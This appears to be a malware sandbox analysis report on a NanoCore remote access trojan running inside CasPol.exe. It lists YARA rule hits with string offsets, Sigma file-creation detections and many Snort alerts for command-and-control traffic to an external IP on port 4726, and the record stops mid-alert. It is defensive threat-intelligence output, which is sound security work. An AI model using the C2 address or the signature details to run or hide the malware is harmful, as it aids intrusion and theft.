136.3.CasPol.exe.1ed365d7.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x13a8:$x1: NanoCore.ClientPluginHost 0x7631:$x1: NanoCore.ClientPluginHost 0x11c40:$x1: NanoCore.ClientPluginHost 0x1c06b:$x1: NanoCore.ClientPluginHost 0x27048:$x1: NanoCore.ClientPluginHost 0x32dea:$x1: NanoCore.ClientPluginHost 0x57cee:$x1: NanoCore.ClientPluginHost 0x6712e:$x1: NanoCore.ClientPluginHost 0x766a:$x2: IClientNetworkHost 0x11d9d:$x2: IClientNetworkHost 0x1c0a4:$x2: IClientNetworkHost 0x27062:$x2: IClientNetworkHost 0x32e04:$x2: IClientNetworkHost 0x57d08:$x2: IClientNetworkHost 0x6716b:$x2: IClientNetworkHost
136.3.CasPol.exe.1ed365d7.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x13a8:$x2: NanoCore.ClientPluginHost 0x7631:$x2: NanoCore.ClientPluginHost 0x11c40:$x2: NanoCore.ClientPluginHost 0x1c06b:$x2: NanoCore.ClientPluginHost 0x27048:$x2: NanoCore.ClientPluginHost 0x32dea:$x2: NanoCore.ClientPluginHost 0x57cee:$x2: NanoCore.ClientPluginHost 0x6712e:$x2: NanoCore.ClientPluginHost 0x12b96:$s3: PipeExists 0x1486:$s4: PipeCreated 0x774c:$s4: PipeCreated 0x11e36:$s4: PipeCreated 0x1c1b6:$s4: PipeCreated 0x2807d:$s4: PipeCreated 0x34b95:$s4: PipeCreated 0x5b02b:$s4: PipeCreated 0x6a581:$s4: PipeCreated 0x13c2:$s5: IClientLoggingHost 0x764b:$s5: IClientLoggingHost 0x11c5a:$s5: IClientLoggingHost 0x1c085:$s5: IClientLoggingHost
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x8ba5:$x1: NanoCore.ClientPluginHost 0x15d0e:$x1: NanoCore.ClientPluginHost 0x1b401:$x1: NanoCore.ClientPluginHost 0x2168a:$x1: NanoCore.ClientPluginHost 0x2bc99:$x1: NanoCore.ClientPluginHost 0x360c4:$x1: NanoCore.ClientPluginHost 0x410a1:$x1: NanoCore.ClientPluginHost 0x4ce43:$x1: NanoCore.ClientPluginHost 0x71d47:$x1: NanoCore.ClientPluginHost 0x81187:$x1: NanoCore.ClientPluginHost 0x8bd2:$x2: IClientNetworkHost 0x15d47:$x2: IClientNetworkHost 0x216c3:$x2: IClientNetworkHost 0x2bdf6:$x2: IClientNetworkHost 0x360fd:$x2: IClientNetworkHost 0x410bb:$x2: IClientNetworkHost 0x4ce5d:$x2: IClientNetworkHost 0x71d61:$x2: IClientNetworkHost 0x811c4:$x2: IClientNetworkHost
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x8ba5:$x2: NanoCore.ClientPluginHost 0x15d0e:$x2: NanoCore.ClientPluginHost 0x1b401:$x2: NanoCore.ClientPluginHost 0x2168a:$x2: NanoCore.ClientPluginHost 0x2bc99:$x2: NanoCore.ClientPluginHost 0x360c4:$x2: NanoCore.ClientPluginHost 0x410a1:$x2: NanoCore.ClientPluginHost 0x4ce43:$x2: NanoCore.ClientPluginHost 0x71d47:$x2: NanoCore.ClientPluginHost 0x81187:$x2: NanoCore.ClientPluginHost 0x9b74:$s2: FileCommand 0x2cbef:$s3: PipeExists 0xe576:$s4: PipeCreated 0x15e2b:$s4: PipeCreated 0x1b4df:$s4: PipeCreated 0x217a5:$s4: PipeCreated 0x2be8f:$s4: PipeCreated 0x3620f:$s4: PipeCreated 0x420d6:$s4: PipeCreated 0x4ebee:$s4: PipeCreated 0x75084:$s4: PipeCreated
136.3.CasPol.exe.1ed365d7.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x13a8:$a: NanoCore 0x13f2:$a: NanoCore 0x204c:$a: NanoCore 0x7631:$a: NanoCore 0x76ab:$a: NanoCore 0x11c40:$a: NanoCore 0x11d2a:$a: NanoCore 0x12ba1:$a: NanoCore 0x1bd4b:$a: NanoCore 0x1bdac:$a: NanoCore 0x1bdef:$a: NanoCore 0x1be2f:$a: NanoCore 0x1c06b:$a: NanoCore 0x1c10b:$a: NanoCore 0x1c8e3:$a: NanoCore 0x1ced6:$a: NanoCore 0x1d027:$a: NanoCore 0x1de81:$a: NanoCore 0x1e0e8:$a: NanoCore 0x1e0fd:$a: NanoCore 0x1e11c:$a: NanoCore
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
136.3.CasPol.exe.1ed365d7.1.raw.unpack	MALWARE_Win_NanoCore	Detects NanoCore	ditekSHen	0x13f2:$x2: NanoCore.ClientPlugin 0x76ab:$x2: NanoCore.ClientPlugin 0x11d2a:$x2: NanoCore.ClientPlugin 0x1c10b:$x2: NanoCore.ClientPlugin 0x2701f:$x2: NanoCore.ClientPlugin 0x32dc1:$x2: NanoCore.ClientPlugin 0x57cc5:$x2: NanoCore.ClientPlugin 0x67109:$x2: NanoCore.ClientPlugin 0x13a8:$x3: NanoCore.ClientPluginHost 0x7631:$x3: NanoCore.ClientPluginHost 0x11c40:$x3: NanoCore.ClientPluginHost 0x1c06b:$x3: NanoCore.ClientPluginHost 0x27048:$x3: NanoCore.ClientPluginHost 0x32dea:$x3: NanoCore.ClientPluginHost 0x57cee:$x3: NanoCore.ClientPluginHost 0x6712e:$x3: NanoCore.ClientPluginHost 0x1408:$i3: IClientNetwork 0x76c1:$i3: IClientNetwork 0x11d40:$i3: IClientNetwork 0x1c121:$i3: IClientNetwork 0x27010:$i3: IClientNetwork
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x8b7f:$a: NanoCore 0x8ba5:$a: NanoCore 0x8c01:$a: NanoCore 0x15a56:$a: NanoCore 0x15aaf:$a: NanoCore 0x15ae2:$a: NanoCore 0x15d0e:$a: NanoCore 0x15d8a:$a: NanoCore 0x163a3:$a: NanoCore 0x164ec:$a: NanoCore 0x169c0:$a: NanoCore 0x16ca7:$a: NanoCore 0x16cbe:$a: NanoCore 0x1a047:$a: NanoCore 0x1b401:$a: NanoCore 0x1b44b:$a: NanoCore 0x1c0a5:$a: NanoCore 0x2168a:$a: NanoCore 0x21704:$a: NanoCore 0x2bc99:$a: NanoCore 0x2bd83:$a: NanoCore
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	MALWARE_Win_NanoCore	Detects NanoCore	ditekSHen	0x8b7f:$x2: NanoCore.ClientPlugin 0x15d8a:$x2: NanoCore.ClientPlugin 0x1b44b:$x2: NanoCore.ClientPlugin 0x21704:$x2: NanoCore.ClientPlugin 0x2bd83:$x2: NanoCore.ClientPlugin 0x36164:$x2: NanoCore.ClientPlugin 0x41078:$x2: NanoCore.ClientPlugin 0x4ce1a:$x2: NanoCore.ClientPlugin 0x71d1e:$x2: NanoCore.ClientPlugin 0x81162:$x2: NanoCore.ClientPlugin 0x8ba5:$x3: NanoCore.ClientPluginHost 0x15d0e:$x3: NanoCore.ClientPluginHost 0x1b401:$x3: NanoCore.ClientPluginHost 0x2168a:$x3: NanoCore.ClientPluginHost 0x2bc99:$x3: NanoCore.ClientPluginHost 0x360c4:$x3: NanoCore.ClientPluginHost 0x410a1:$x3: NanoCore.ClientPluginHost 0x4ce43:$x3: NanoCore.ClientPluginHost 0x71d47:$x3: NanoCore.ClientPluginHost 0x81187:$x3: NanoCore.ClientPluginHost 0x8b70:$i3: IClientNetwork
136.3.CasPol.exe.1ed30ba9.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x16e3:$x1: NanoCore.ClientPluginHost 0x6dd6:$x1: NanoCore.ClientPluginHost 0xd05f:$x1: NanoCore.ClientPluginHost 0x1766e:$x1: NanoCore.ClientPluginHost 0x21a99:$x1: NanoCore.ClientPluginHost 0x2ca76:$x1: NanoCore.ClientPluginHost 0x38818:$x1: NanoCore.ClientPluginHost 0x5d71c:$x1: NanoCore.ClientPluginHost 0x6cb5c:$x1: NanoCore.ClientPluginHost 0x171c:$x2: IClientNetworkHost 0xd098:$x2: IClientNetworkHost 0x177cb:$x2: IClientNetworkHost 0x21ad2:$x2: IClientNetworkHost 0x2ca90:$x2: IClientNetworkHost 0x38832:$x2: IClientNetworkHost 0x5d736:$x2: IClientNetworkHost 0x6cb99:$x2: IClientNetworkHost
136.3.CasPol.exe.1ed30ba9.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x16e3:$x2: NanoCore.ClientPluginHost 0x6dd6:$x2: NanoCore.ClientPluginHost 0xd05f:$x2: NanoCore.ClientPluginHost 0x1766e:$x2: NanoCore.ClientPluginHost 0x21a99:$x2: NanoCore.ClientPluginHost 0x2ca76:$x2: NanoCore.ClientPluginHost 0x38818:$x2: NanoCore.ClientPluginHost 0x5d71c:$x2: NanoCore.ClientPluginHost 0x6cb5c:$x2: NanoCore.ClientPluginHost 0x185c4:$s3: PipeExists 0x1800:$s4: PipeCreated 0x6eb4:$s4: PipeCreated 0xd17a:$s4: PipeCreated 0x17864:$s4: PipeCreated 0x21be4:$s4: PipeCreated 0x2daab:$s4: PipeCreated 0x3a5c3:$s4: PipeCreated 0x60a59:$s4: PipeCreated 0x6ffaf:$s4: PipeCreated 0x16fd:$s5: IClientLoggingHost 0x6df0:$s5: IClientLoggingHost
136.3.CasPol.exe.1ed1c57e.2.raw.unpack	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x8ba5:$a1: NanoCore.ClientPluginHost 0x15d0e:$a1: NanoCore.ClientPluginHost 0x1b401:$a1: NanoCore.ClientPluginHost 0x2168a:$a1: NanoCore.ClientPluginHost 0x2bc99:$a1: NanoCore.ClientPluginHost 0x360c4:$a1: NanoCore.ClientPluginHost 0x410a1:$a1: NanoCore.ClientPluginHost 0x4ce43:$a1: NanoCore.ClientPluginHost 0x71d47:$a1: NanoCore.ClientPluginHost 0x81187:$a1: NanoCore.ClientPluginHost 0x8b7f:$a2: NanoCore.ClientPlugin 0x15d8a:$a2: NanoCore.ClientPlugin 0x1b44b:$a2: NanoCore.ClientPlugin 0x21704:$a2: NanoCore.ClientPlugin 0x2bd83:$a2: NanoCore.ClientPlugin 0x36164:$a2: NanoCore.ClientPlugin 0x41078:$a2: NanoCore.ClientPlugin 0x4ce1a:$a2: NanoCore.ClientPlugin 0x71d1e:$a2: NanoCore.ClientPlugin 0x81162:$a2: NanoCore.ClientPlugin 0x81178:$b4: IClientAppHost
136.3.CasPol.exe.1ed365d7.1.raw.unpack	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x13a8:$a1: NanoCore.ClientPluginHost 0x7631:$a1: NanoCore.ClientPluginHost 0x11c40:$a1: NanoCore.ClientPluginHost 0x1c06b:$a1: NanoCore.ClientPluginHost 0x27048:$a1: NanoCore.ClientPluginHost 0x32dea:$a1: NanoCore.ClientPluginHost 0x57cee:$a1: NanoCore.ClientPluginHost 0x6712e:$a1: NanoCore.ClientPluginHost 0x13f2:$a2: NanoCore.ClientPlugin 0x76ab:$a2: NanoCore.ClientPlugin 0x11d2a:$a2: NanoCore.ClientPlugin 0x1c10b:$a2: NanoCore.ClientPlugin 0x2701f:$a2: NanoCore.ClientPlugin 0x32dc1:$a2: NanoCore.ClientPlugin 0x57cc5:$a2: NanoCore.ClientPlugin 0x67109:$a2: NanoCore.ClientPlugin 0x6711f:$b4: IClientAppHost 0x7dcc:$b7: LogClientException 0x13583:$b7: LogClientException 0x1ce61:$b7: LogClientException 0x35133:$b7: LogClientException
136.3.CasPol.exe.1ed30ba9.0.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x142b:$a: NanoCore 0x1484:$a: NanoCore 0x14b7:$a: NanoCore 0x16e3:$a: NanoCore 0x175f:$a: NanoCore 0x1d78:$a: NanoCore 0x1ec1:$a: NanoCore 0x2395:$a: NanoCore 0x267c:$a: NanoCore 0x2693:$a: NanoCore 0x5a1c:$a: NanoCore 0x6dd6:$a: NanoCore 0x6e20:$a: NanoCore 0x7a7a:$a: NanoCore 0xd05f:$a: NanoCore 0xd0d9:$a: NanoCore 0x1766e:$a: NanoCore 0x17758:$a: NanoCore 0x185cf:$a: NanoCore 0x21779:$a: NanoCore 0x217da:$a: NanoCore
136.3.CasPol.exe.1ed30ba9.0.raw.unpack	MALWARE_Win_NanoCore	Detects NanoCore	ditekSHen	0x175f:$x2: NanoCore.ClientPlugin 0x6e20:$x2: NanoCore.ClientPlugin 0xd0d9:$x2: NanoCore.ClientPlugin 0x17758:$x2: NanoCore.ClientPlugin 0x21b39:$x2: NanoCore.ClientPlugin 0x2ca4d:$x2: NanoCore.ClientPlugin 0x387ef:$x2: NanoCore.ClientPlugin 0x5d6f3:$x2: NanoCore.ClientPlugin 0x6cb37:$x2: NanoCore.ClientPlugin 0x16e3:$x3: NanoCore.ClientPluginHost 0x6dd6:$x3: NanoCore.ClientPluginHost 0xd05f:$x3: NanoCore.ClientPluginHost 0x1766e:$x3: NanoCore.ClientPluginHost 0x21a99:$x3: NanoCore.ClientPluginHost 0x2ca76:$x3: NanoCore.ClientPluginHost 0x38818:$x3: NanoCore.ClientPluginHost 0x5d71c:$x3: NanoCore.ClientPluginHost 0x6cb5c:$x3: NanoCore.ClientPluginHost 0x1775:$i3: IClientNetwork 0x6e36:$i3: IClientNetwork 0xd0ef:$i3: IClientNetwork
136.3.CasPol.exe.1ed30ba9.0.raw.unpack	Windows_Trojan_Nanocore_d8c4e3c5	unknown	unknown	0x16e3:$a1: NanoCore.ClientPluginHost 0x6dd6:$a1: NanoCore.ClientPluginHost 0xd05f:$a1: NanoCore.ClientPluginHost 0x1766e:$a1: NanoCore.ClientPluginHost 0x21a99:$a1: NanoCore.ClientPluginHost 0x2ca76:$a1: NanoCore.ClientPluginHost 0x38818:$a1: NanoCore.ClientPluginHost 0x5d71c:$a1: NanoCore.ClientPluginHost 0x6cb5c:$a1: NanoCore.ClientPluginHost 0x175f:$a2: NanoCore.ClientPlugin 0x6e20:$a2: NanoCore.ClientPlugin 0xd0d9:$a2: NanoCore.ClientPlugin 0x17758:$a2: NanoCore.ClientPlugin 0x21b39:$a2: NanoCore.ClientPlugin 0x2ca4d:$a2: NanoCore.ClientPlugin 0x387ef:$a2: NanoCore.ClientPlugin 0x5d6f3:$a2: NanoCore.ClientPlugin 0x6cb37:$a2: NanoCore.ClientPlugin 0x6cb4d:$b4: IClientAppHost 0xd7fa:$b7: LogClientException 0x18fb1:$b7: LogClientException
Click to see the 19 entries

Sigma Signatures

AV Detection

Sigma detected: NanoCore

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 4156, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

E-Banking Fraud

Sigma detected: NanoCore

Source: File created

Stealing of Sensitive Information

Sigma detected: NanoCore

Source: File created

Remote Access Functionality

Sigma detected: NanoCore

Source: File created

Snort Signatures

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983847262816766 08/05/22-11:35:49.166459
SID:	2816766
Source Port:	49838
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982847262816766 08/05/22-11:35:00.505316
SID:	2816766
Source Port:	49828
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987847262816766 08/05/22-11:39:25.478451
SID:	2816766
Source Port:	49878
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980847262816766 08/05/22-11:33:35.611490
SID:	2816766
Source Port:	49808
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981247262816766 08/05/22-11:33:54.948742
SID:	2816766
Source Port:	49812
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988847262816766 08/05/22-11:40:18.857309
SID:	2816766
Source Port:	49888
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985547262816766 08/05/22-11:37:25.064645
SID:	2816766
Source Port:	49855
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986547262816766 08/05/22-11:38:18.642662
SID:	2816766
Source Port:	49865
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982247262816766 08/05/22-11:34:32.402122
SID:	2816766
Source Port:	49822
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983247262816766 08/05/22-11:35:25.408580
SID:	2816766
Source Port:	49832
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980847262025019 08/05/22-11:33:34.751911
SID:	2025019
Source Port:	49808
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984247262816766 08/05/22-11:36:13.005262
SID:	2816766
Source Port:	49842
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986247262816766 08/05/22-11:38:06.729941
SID:	2816766
Source Port:	49862
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988547262816766 08/05/22-11:40:00.970573
SID:	2816766
Source Port:	49885
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498322810290 08/05/22-11:35:24.225691
SID:	2810290
Source Port:	4726
Destination Port:	49832
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985247262816766 08/05/22-11:37:07.368175
SID:	2816766
Source Port:	49852
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987347262816718 08/05/22-11:39:13.855980
SID:	2816718
Source Port:	49873
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985147262025019 08/05/22-11:36:59.699324
SID:	2025019
Source Port:	49851
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983847262025019 08/05/22-11:35:47.449492
SID:	2025019
Source Port:	49838
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984847262025019 08/05/22-11:36:42.032110
SID:	2025019
Source Port:	49848
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984147262025019 08/05/22-11:36:05.289138
SID:	2025019
Source Port:	49841
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986147262025019 08/05/22-11:37:52.997548
SID:	2025019
Source Port:	49861
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764979447262816718 08/05/22-11:33:02.095717
SID:	2816718
Source Port:	49794
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983147262025019 08/05/22-11:35:17.664167
SID:	2025019
Source Port:	49831
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987147262025019 08/05/22-11:38:57.638279
SID:	2025019
Source Port:	49871
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982847262025019 08/05/22-11:34:58.742582
SID:	2025019
Source Port:	49828
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985847262025019 08/05/22-11:37:41.082895
SID:	2025019
Source Port:	49858
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986847262025019 08/05/22-11:38:39.814344
SID:	2025019
Source Port:	49868
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764979947262816766 08/05/22-11:33:09.270945
SID:	2816766
Source Port:	49799
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987247262816766 08/05/22-11:39:08.653978
SID:	2816766
Source Port:	49872
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981147262025019 08/05/22-11:33:46.481160
SID:	2025019
Source Port:	49811
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764989147262025019 08/05/22-11:40:34.838222
SID:	2025019
Source Port:	49891
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980147262025019 08/05/22-11:33:14.652316
SID:	2025019
Source Port:	49801
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988147262025019 08/05/22-11:39:41.582894
SID:	2025019
Source Port:	49881
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988747262025019 08/05/22-11:40:11.197738
SID:	2025019
Source Port:	49887
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983247262025019 08/05/22-11:35:23.679240
SID:	2025019
Source Port:	49832
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984247262025019 08/05/22-11:36:11.291801
SID:	2025019
Source Port:	49842
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982247262025019 08/05/22-11:34:30.638951
SID:	2025019
Source Port:	49822
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983547262816766 08/05/22-11:35:31.451561
SID:	2816766
Source Port:	49835
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981547262816766 08/05/22-11:34:08.501141
SID:	2816766
Source Port:	49815
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982547262816766 08/05/22-11:34:50.204627
SID:	2816766
Source Port:	49825
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987847262025019 08/05/22-11:39:23.730317
SID:	2025019
Source Port:	49878
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988847262025019 08/05/22-11:40:17.090533
SID:	2025019
Source Port:	49888
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980547262816766 08/05/22-11:33:22.383668
SID:	2816766
Source Port:	49805
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981247262025019 08/05/22-11:33:52.852731
SID:	2025019
Source Port:	49812
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988447262816766 08/05/22-11:39:55.080767
SID:	2816766
Source Port:	49884
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498262841753 08/05/22-11:34:54.542585
SID:	2841753
Source Port:	4726
Destination Port:	49826
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985747262816766 08/05/22-11:37:36.861672
SID:	2816766
Source Port:	49857
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

